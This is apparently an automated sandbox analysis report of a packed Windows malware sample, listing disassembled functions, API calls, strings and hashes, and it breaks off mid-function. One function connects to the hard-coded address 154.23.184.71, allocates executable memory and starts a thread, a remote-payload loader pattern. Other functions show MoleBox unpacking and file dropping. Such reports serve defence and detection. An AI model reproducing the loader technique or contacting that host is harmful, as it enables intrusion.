550->553 551->553 557 52e6f0-52e706 call 536a6f 553->557 558 52e708 553->558 560 52e712-52e793 call 52e732 557->560 558->560
                                              APIs
                                              • InitializeCriticalSection.KERNEL32(0053C958,?,?,?,?,Function_0012754C,00539410,000000FF), ref: 0052DF8E
                                                • Part of subcall function 0053362F: RtlAllocateHeap.NTDLL(00000000,00000008,00000000), ref: 0053364E
                                              • GetModuleHandleA.KERNEL32(00000000,?,00000400), ref: 0052E011
                                              • GetModuleFileNameA.KERNEL32(00000000), ref: 0052E018
                                              • GetFullPathNameA.KERNEL32(?,00000400,?,?), ref: 0052E037
                                              • GetModuleHandleA.KERNEL32(kernel32,GetLongPathNameA), ref: 0052E047
                                              • GetProcAddress.KERNEL32(00000000), ref: 0052E04E
                                              • GetLongPathNameA.KERNEL32(?,?,00000400), ref: 0052E06D
                                              • CharUpperBuffA.USER32(?), ref: 0052E0B2
                                              • GetShortPathNameA.KERNEL32 ref: 0052E101
                                              • CharUpperBuffA.USER32(?), ref: 0052E127
                                              • CharUpperBuffA.USER32(?,?), ref: 0052E28B
                                              • GetFullPathNameA.KERNEL32(?,00000104,?,?), ref: 0052E3C5
                                              • CharUpperBuffA.USER32(?), ref: 0052E3DF
                                              • FindFirstFileA.KERNEL32(?,?), ref: 0052E437
                                              • lstrcmpi.KERNEL32(?,?), ref: 0052E46C
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Name$BuffCharPathUpper$Module$FileFullHandle$AddressAllocateCriticalFindFirstHeapInitializeLongProcSectionShortlstrcmpi
                                              • String ID: GetLongPathNameA$kernel32
                                              • API String ID: 3493098738-2130398103
                                              • Opcode ID: 608f45c83b4afec0626bd0bb53ebb9baa92cb93596c04cfe99b4f40d44f5de23
                                              • Instruction ID: f2c18ce904a5b5154d71b3b1eaaefc8bf817d37c695cee7eb1cfd0b9b6591266
                                              • Opcode Fuzzy Hash: 608f45c83b4afec0626bd0bb53ebb9baa92cb93596c04cfe99b4f40d44f5de23
                                              • Instruction Fuzzy Hash: 57228CB1E002189BDB18CBA8DC56BAEBBB1FF89310F144258E516BB3C1DB74A945CF54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00401420 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 87networkmemorysynchronizationCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                                • Part of subcall function 00401200: WSAStartup.WS2_32(00000202,?), ref: 0040121F
                                              • socket.WS2_32(00000002,00000001,00000006), ref: 00401442
                                              • VirtualAlloc.KERNEL32(00000000,0004E050,00003000,00000040), ref: 00401464
                                              • gethostbyname.WS2_32(154.23.184.71), ref: 0040148A
                                              • htons.WS2_32 ref: 004014A0
                                              • connect.WS2_32(00000B50,?,00000010), ref: 004014BF
                                              • EtwpCreateEtwThread.NTDLL(00401350,00444A7C), ref: 004014D4
                                              • send.WS2_32 ref: 0040150F
                                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00401523
                                                • Part of subcall function 0041DDB9: _doexit.LIBCMT ref: 0041DDC5
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AllocCreateEtwpObjectSingleStartupThreadVirtualWait_doexitconnectgethostbynamehtonssendsocket
                                              • String ID: 154.23.184.71$D$E$O$T
                                              • API String ID: 3527653283-134350869
                                              • Opcode ID: 67fb6ffd0868d2e2268ba236f524cc22ef0d859657aa0f1402b1936f7eeeef06
                                              • Instruction ID: 810fb4d2fb543999ac3d36018534217fbde4dfbbce1506ae4335a97833c29be6
                                              • Opcode Fuzzy Hash: 67fb6ffd0868d2e2268ba236f524cc22ef0d859657aa0f1402b1936f7eeeef06
                                              • Instruction Fuzzy Hash: 9B31E174248340AED310DF799C49B1B7BE4AF89714F004A2DF695A72E1D7B4D900CB5E
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00535236 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111libraryloaderCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 839 535236-535250 GetModuleHandleA 840 535252-53525b LoadLibraryA 839->840 841 53525e-535262 839->841 840->841 842 535264-535275 call 533761 841->842 843 53527a-535294 call 536c81 841->843 842->843 847 5352b2-5352b5 843->847 848 535296-5352b0 call 536c81 843->848 849 5352b8-5352cd 847->849 848->849 852 5352db-5352df 849->852 853 5352cf-5352d8 849->853 854 5352e8-5352ee 852->854 853->852 855 5352f4-53530e GetProcAddress 854->855 856 53537a-535381 854->856 859 535310-535323 call 536c81 855->859 860 535328-53532c 855->860 857 535383-535387 856->857 858 5353ad-5353ae 856->858 857->858 861 535389-5353a3 call 534f81 857->861 859->860 863 535375 860->863 864 53532e-53534f call 534f81 860->864 861->858 870 5353a5-5353a8 861->870 863->854 864->863 871 535351-535355 864->871 870->858 871->863 872 535357-53535b 871->872 872->863 873 53535d-535370 call 536c81 872->873 873->863
                                              APIs
                                              • GetModuleHandleA.KERNEL32(005351D3,?,?,?,?,005351D3,GOS,0000002F), ref: 00535243
                                              • LoadLibraryA.KERNEL32(00000000), ref: 00535255
                                              • GetProcAddress.KERNEL32(00000000,?), ref: 00535301
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AddressHandleLibraryLoadModuleProc
                                              • String ID: WriteFile$kernel32.dll
                                              • API String ID: 310444273-1416012284
                                              • Opcode ID: 2b406e45c6f64b78cb52e57a0da30924168b1c357ade5091357e38f4fbf6dec5
                                              • Instruction ID: e0c1754731e4dbfc997da2e928b87c86f3a0d4973151f169229c87b6ac8e8c6e
                                              • Opcode Fuzzy Hash: 2b406e45c6f64b78cb52e57a0da30924168b1c357ade5091357e38f4fbf6dec5
                                              • Instruction Fuzzy Hash: 4851D174D0060AEFCF15DF94C885BAEBBB1FF08304F105469E911A62A1E7B15A95EF50
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00533EEC Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                              Download Yara Rule
                                              APIs
                                              • SetUnhandledExceptionFilter.KERNEL32(00533EFC,?,0052877D), ref: 00533EF4
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ExceptionFilterUnhandled
                                              • String ID:
                                              • API String ID: 3192549508-0
                                              • Opcode ID: 8de9f9ca89932a4cdf42514f71c2ea9e50cde5799bab44091da0207557d7dfdd
                                              • Instruction ID: 301338a2dd5c2f21b54207654585894594d8cded1f87d8b069c4b069fdcde9b0
                                              • Opcode Fuzzy Hash: 8de9f9ca89932a4cdf42514f71c2ea9e50cde5799bab44091da0207557d7dfdd
                                              • Instruction Fuzzy Hash: 4CA0223008030CA3020023C2BC0F800BFCCE088A20B000000F00E00A800BC3F20022F2
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00528380 Relevance: 44.1, APIs: 21, Strings: 4, Instructions: 333memorylibraryloaderCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 176 528380-5283cc GetModuleHandleA LocalAlloc 177 5283d3-528418 176->177 177->177 178 52841a-528420 177->178 178->177 179 528422-528428 178->179 180 528433-528439 179->180 181 52843b-52845a 180->181 182 52845c-528495 LocalAlloc 180->182 181->180 184 5284a0-5284ab RaiseException 182->184 185 528497-52849e 182->185 186 5284b1-5284e6 call 528130 184->186 185->184 185->186 189 5284e8-5284f3 RaiseException 186->189 190 5284f9-52850e call 52800c 186->190 189->190 193 528510-52851b RaiseException 190->193 194 528521-52853d LocalFree GetModuleHandleA 190->194 193->194 195 528550-52857d GetProcAddress * 2 194->195 196 52853f-52854a RaiseException 194->196 197 528590-5285a6 195->197 198 52857f-52858a RaiseException 195->198 196->195 200 5285ad-5285f2 197->200 198->197 200->200 201 5285f4-5285fa 200->201 201->200 202 5285fc-528613 201->202 203 52861e-528624 202->203 204 528646-528673 LocalAlloc 203->204 205 528626-528644 203->205 207 528675-52867c 204->207 208 52867e-528689 RaiseException 204->208 205->203 207->208 209 52868f-5286c4 call 528130 207->209 208->209 212 5286c6-5286d1 RaiseException 209->212 213 5286d7-5286ec call 52800c 209->213 212->213 216 5286ee-5286f9 RaiseException 213->216 217 5286ff-528757 FlushInstructionCache LocalFree * 2 InitializeCriticalSection * 2 call 529380 call 53362f 213->217 216->217 222 528766 217->222 223 528759-528764 call 528e70 217->223 224 52876d-52879a call 533eec 222->224 223->224
                                              APIs
                                              • GetModuleHandleA.KERNEL32(00000000), ref: 0052838A
                                              • LocalAlloc.KERNEL32(00000040,0000D440), ref: 0052839A
                                              • LocalAlloc.KERNEL32(00000040,?), ref: 00528488
                                              • RaiseException.KERNEL32(EF0000FE,00000000,00000000,00000000), ref: 005284AB
                                              • RaiseException.KERNEL32(EF0000F8,00000000,00000000,00000000,00000000,?,?,?), ref: 005284F3
                                              • RaiseException.KERNEL32(EF0000FA,00000000,00000000,00000000,?), ref: 0052851B
                                              • LocalFree.KERNEL32(00000000,?), ref: 00528525
                                              • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00528530
                                              • RaiseException.KERNEL32(EF0000FD,00000000,00000000,00000000), ref: 0052854A
                                              • GetProcAddress.KERNEL32(00000000,FlushInstructionCache), ref: 00528559
                                              • GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 0052856D
                                              • RaiseException.KERNEL32(EF0000FC,00000000,00000000,00000000), ref: 0052858A
                                              • LocalAlloc.KERNEL32(00000040,?), ref: 00528666
                                              • RaiseException.KERNEL32(EF0000FF,00000000,00000000,00000000), ref: 00528689
                                              • RaiseException.KERNEL32(EF0000F9,00000000,00000000,00000000,00000000,?,?,?), ref: 005286D1
                                              • RaiseException.KERNEL32(EF0000FB,00000000,00000000,00000000,00000000,?,?,?), ref: 005286F9
                                              • FlushInstructionCache.KERNEL32(FFFFFFFF,?,?,00000000,?,?,?), ref: 0052870E
                                              • LocalFree.KERNEL32(00000000), ref: 00528718
                                              • LocalFree.KERNEL32(?), ref: 00528722
                                              • InitializeCriticalSection.KERNEL32(0053CAB0), ref: 0052872D
                                              • InitializeCriticalSection.KERNEL32(0053C9B8), ref: 00528738
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ExceptionRaise$Local$AllocFree$AddressCriticalHandleInitializeModuleProcSection$CacheFlushInstruction
                                              • String ID: BARIER$FlushInstructionCache$GetCurrentProcess$kernel32.dll
                                              • API String ID: 3139335568-2054767863
                                              • Opcode ID: 33058abac488b61b66da8729f0721b113cd75e999d32d847806dc35ddd3733eb
                                              • Instruction ID: 4c334261c8151537ef29a9de264bd0be91f3f2e23d715560aaa90e3bcaa480d0
                                              • Opcode Fuzzy Hash: 33058abac488b61b66da8729f0721b113cd75e999d32d847806dc35ddd3733eb
                                              • Instruction Fuzzy Hash: DAE1E5B4E00218AFDB18DFD4D989BADBBB1FF88304F248519E509AB394DB70A945CF54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00529ED0 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 148stringlibrarymemoryCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 00529F32
                                              • GetModuleFileNameA.KERNEL32(00000000), ref: 00529F39
                                              • GetModuleHandleA.KERNEL32(user32.dll), ref: 00529F61
                                              • RaiseException.KERNEL32(EF0000FD,00000000,00000000,00000000), ref: 00529F7B
                                              • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00529F8A
                                              • RaiseException.KERNEL32(EF0000FC,00000000,00000000,00000000), ref: 00529FA4
                                              • LocalAlloc.KERNEL32(00000040,00004000), ref: 00529FB1
                                              • lstrcatA.KERNEL32(?,ATTENTION!The program'), ref: 00529FC3
                                              • GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 00529FE9
                                              • GetModuleFileNameA.KERNEL32(00000000), ref: 00529FF0
                                              • lstrcatA.KERNEL32(?,'is packed with evaluation copy of MoleBox 2.6), ref: 00529FFF
                                              • lstrcatA.KERNEL32(?,Please DO NOT distribute this application), ref: 0052A00E
                                              • lstrcatA.KERNEL32(?,Execute the program?), ref: 0052A01D
                                              • ExitProcess.KERNEL32 ref: 0052A03A
                                              • LocalFree.KERNELBASE(?), ref: 0052A044
                                              Strings
                                              • Please DO NOT distribute this application, xrefs: 0052A005
                                              • ATTENTION!The program', xrefs: 00529FBA
                                              • Execute the program?, xrefs: 0052A014
                                              • user32.dll, xrefs: 00529F5C
                                              • MessageBoxA, xrefs: 00529F81
                                              • 'is packed with evaluation copy of MoleBox 2.6, xrefs: 00529FF6
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Module$lstrcat$Handle$ExceptionFileLocalNameRaise$AddressAllocExitFreeProcProcess
                                              • String ID: Please DO NOT distribute this application$'is packed with evaluation copy of MoleBox 2.6$ATTENTION!The program'$Execute the program?$MessageBoxA$user32.dll
                                              • API String ID: 1923673514-1523256163
                                              • Opcode ID: bd4cf57f112ead0a452a67c9e0b8402c9348f4f410c9be15fcb9f8fb14512388
                                              • Instruction ID: ba81661af1dd471ebb1f33285abe5d305050a974077613953782dbe99292a724
                                              • Opcode Fuzzy Hash: bd4cf57f112ead0a452a67c9e0b8402c9348f4f410c9be15fcb9f8fb14512388
                                              • Instruction Fuzzy Hash: CD5166B1A40218AFEB109FA4DC4ABADBF74FB49721F104619F612BA3C0D7B46844CF65
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00531431 Relevance: 36.0, APIs: 17, Strings: 3, Instructions: 969libraryCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 255 531431-53147e call 527700 258 531480-531489 255->258 259 53148b-53148f 255->259 260 531492-5314a8 call 527700 258->260 259->260 263 5314aa-5314b0 260->263 264 5314b9-53151e EnterCriticalSection GetModuleHandleA 260->264 263->264 265 5314b2-5314b6 263->265 266 531520-531545 LoadLibraryA call 527496 264->266 267 53154a-53156c call 530a6e 264->267 265->264 272 532407-532415 266->272 273 5315ce-5315e7 267->273 274 53156e-531572 267->274 275 531681-5316a9 call 533b67 GetModuleHandleA 273->275 276 5315ed-531614 LoadLibraryExA 273->276 274->273 277 531574-53157c 274->277 288 5316ab-5316ca call 527496 275->288 289 5316cf-5316d8 275->289 278 531616-531621 276->278 279 531638-531640 GetLastError 276->279 280 531592-531596 277->280 283 531623-53162f call 5302c0 278->283 284 53165d-53167c call 527496 278->284 285 531642-531644 SetLastError 279->285 286 53164a-531656 FreeLibrary 279->286 280->273 287 531598-5315a0 280->287 297 531634-531636 283->297 284->272 285->286 286->284 292 5315a2-5315c7 call 527496 287->292 293 5315cc 287->293 288->272 296 5316e7-5316f2 289->296 292->272 293->280 302 5316f4-531700 296->302 303 53170d-531721 call 52b4d4 296->303 297->279 297->284 304 531702-531708 302->304 305 53170b 302->305 309 531733-53176d call 52b803 call 53362f call 52c308 303->309 310 531723-531727 303->310 304->305 305->296 319 531775-53177a call 533617 309->319 320 53176f-531773 309->320 310->309 312 531729-53172e call 533617 310->312 312->309 321 53177f-5317c5 call 52b5b2 call 53362f call 52c308 319->321 320->319 320->321 329 5317c7-5317cb 321->329 330 5317cd-5317d2 call 533617 321->330 329->330 331 5317d7-5317e0 329->331 330->331 333 5317e2-5317e7 call 533617 331->333 334 5317ec-53189e call 53362f * 2 call 52b5b2 call 52c308 331->334 333->334 344 5318a0-5318a4 334->344 345 5318a6-5318ab call 533617 334->345 344->345 346 5318b0-531965 344->346 345->346 348 531967-531979 346->348 349 53197b-53197e 346->349 350 531982-5319c0 348->350 349->350 352 5319c6-531a2d 350->352 353 531f0a-531f11 350->353 354 531a33-531a44 352->354 355 531b2a-531b3b 352->355 356 531f20-531f27 353->356 354->355 357 531a4a-531a64 354->357 358 531b41-531b5b 355->358 359 531e64-531e76 355->359 360 531f63-532155 call 530af0 356->360 361 531f29-531f30 356->361 357->355 367 531a6a-531afa call 530d35 call 53362f call 530d35 call 52b5b2 call 52c308 357->367 358->359 368 531b61-531bc3 VirtualAlloc call 52b5b2 call 52c308 358->368 364 531e89-531e92 359->364 365 531e78-531e87 359->365 385 532161-53217d WriteFile 360->385 386 532157-53215c call 533617 360->386 362 531f32 361->362 363 531f34-531f3b 361->363 369 531f13-531f1a 362->369 370 531f3f-531f61 363->370 371 531f3d 363->371 372 531e98-531efe call 530d35 * 2 364->372 365->372 424 531b02-531b07 call 533617 367->424 425 531afc-531b00 367->425 389 531bc5-531bc9 368->389 390 531bcb-531bd0 call 533617 368->390 369->356 370->369 371->369 398 531f05 372->398 393 532197-5321e3 WriteFile FlushFileBuffers CloseHandle LoadLibraryA 385->393 394 53217f-532191 WriteFile 385->394 386->385 389->390 396 531bd5-531c2c 389->396 390->396 399 532200-532206 393->399 400 5321e5-5321fb call 533a9f call 533617 393->400 394->393 409 531c32-531c46 396->409 410 531e34-531e52 VirtualFree 396->410 398->353 402 532331-532355 call 53139d call 527496 399->402 403 53220c-5322a8 call 527700 399->403 400->399 402->272 419 5322b5-5322bc 403->419 420 5322aa-5322b3 403->420 415 531c48 409->415 416 531c4d-531c87 409->416 410->359 415->410 421 531c89 416->421 422 531c8e-531c99 416->422 426 5322c2-53232c call 53362f 419->426 420->426 421->410 427 531ca0-531cb9 call 527f80 422->427 428 531c9b 422->428 430 531b0c-531b25 424->430 425->424 425->430 426->402 436 531cc0-531cdf call 536176 427->436 437 531cbb 427->437 428->410 430->398 443 531ce5-531cec 436->443 444 531dfc 436->444 438 531e02-531e09 437->438 441 531e0b-531e2d call 53093b 438->441 442 531e2f 438->442 441->442 442->410 446 531cf3-531d36 call 53459f call 527700 443->446 447 531cee 443->447 444->438 454 531d47-531d4d 446->454 455 531d38-531d45 446->455 449 531dfe 447->449 449->438 456 531d53-531d94 call 536176 454->456 455->456 459 531d96-531d9d 456->459 460 531dd5-531de1 call 531de3 456->460 461 531d9f-531dac call 527496 459->461 462 531dae-531dd0 SetLastError call 527496 459->462 460->444 461->449 462->272
                                              APIs
                                              • EnterCriticalSection.KERNEL32(0053C9B8), ref: 005314FA
